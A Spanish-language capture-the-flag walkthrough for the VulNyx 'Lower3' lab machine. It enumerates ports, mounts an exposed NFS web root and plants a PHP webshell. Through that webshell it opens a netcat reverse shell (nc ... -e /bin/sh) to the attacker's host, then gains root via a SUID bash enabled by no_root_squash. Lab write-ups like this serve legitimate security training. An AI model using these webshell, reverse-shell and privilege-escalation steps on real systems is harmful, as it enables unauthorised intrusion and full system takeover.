VulNyx - Lower3
Information
Lower3 es una máquina virtual vulnerable Linux de dificultad baja de la plataforma VulNyx, fue creada por el usuario d4t4s3c y funciona correctamente en los hipervisores VirtualBox y VMware.
Enumeration
Nmap
TCP
❯ nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.57
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-05 11:36 CEST
Nmap scan report for 192.168.1.57
Host is up (0.000090s latency).
Not shown: 65527 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
2049/tcp open nfs
34067/tcp open unknown
39207/tcp open unknown
47695/tcp open unknown
50839/tcp open unknown
❯ nmap -sVC -p22,80,111,2049,34067,39207,47695,50839 192.168.1.57
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-05 11:37 CEST
Nmap scan report for 192.168.1.57
Host is up (0.00067s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Apache2 Debian Default Page: It works
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 42155/tcp6 mountd
| 100005 1,2,3 44027/udp mountd
| 100005 1,2,3 50839/tcp mountd
| 100005 1,2,3 56064/udp6 mountd
| 100021 1,3,4 33427/udp6 nlockmgr
| 100021 1,3,4 39207/tcp nlockmgr
| 100021 1,3,4 41153/tcp6 nlockmgr
| 100021 1,3,4 46859/udp nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs 3-4 (RPC #100003)
34067/tcp open mountd 1-3 (RPC #100005)
39207/tcp open nlockmgr 1-4 (RPC #100021)
47695/tcp open mountd 1-3 (RPC #100005)
50839/tcp open mountd 1-3 (RPC #100005)
Shell (www-data)
80/TCP (HTTP)
Site
Directory Brute Force
❯ gobuster dir -w /opt/directory-list-2.3-medium.txt -u http://192.168.1.57
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.57
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/server-status (Status: 403) [Size: 277]
Progress: 220545 / 220546 (100.00%)
===============================================================
Finished
===============================================================
2049/TCP (NFS)
List
Listo la carpeta /var/www/html disponible para montar en el host remoto
❯ showmount -e 192.168.1.57
Export list for 192.168.1.57:
/var/www/html *
Mount
Al montar la carpeta /var/www/html existe un index.html del sitio web
❯ cd /dev/shm
❯ mkdir nfs
❯ mount -t nfs 192.168.1.57:/var/www/html /dev/shm/nfs -nolock
❯ cd nfs
❯ ls -l
.rw------- kali kali 10 KB Mon Jun 12 21:41:37 2023 index.html
Reverse Shell
Creo una webshell PHP en mi carpeta local /dev/shm/nfs que realmente apunta a la carpeta remota /var/www/html
❯ echo -n '<?php system($_GET["cmd"]); ?>' > cmd.php
❯ cat cmd.php ;echo
<?php system($_GET["cmd"]); ?>
Obtengo la shell como usuario low
❯ curl -sX GET "http://192.168.1.57/cmd.php?cmd=nc+192.168.1.5+443+-e+/bin/sh"
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.5] from (UNKNOWN) [192.168.1.57] 54300
id ; hostname
uid=1000(low) gid=1000(low) groups=1000(low)
lower3
Privilege Escalation
Enumeration
Config Files
Reviso el archivo de configuración /etc/exports de NFS y dispone de no_root_squash
low@lower3:/$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/var/www/html/ *(rw,sync,insecure,no_root_squash,no_subtree_check)
Abuse
Al disponer de no_root_squash en la configuración de NFS, se pueden realizar acciones arbitrarias dentro de la montura como usuario root en un contexto privilegiado
low@lower3:/$ cd /var/www/html/
low@lower3:/var/www/html$ cp /usr/bin/bash .
Desde la montura asigno al binario bash permisos SUID (4755) y cambio de propietario a root
❯ chown root:root bash
❯ chmod 4755 bash
Desde la víctima ejecuto bash -p y me convierto en usuario root
low@lower3:/var/www/html$ ./bash -p
bash-5.1# id ; hostname
uid=1000(low) gid=1000(low) euid=0(root) groups=1000(low)
Flags
Ya como usuario root puedo leer las flags user.txt y root.txt
bash-5.1# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
da0a4***************************
eed0b***************************
Hasta aquí la resolución de la máquina Lower3.
Happy Hacking!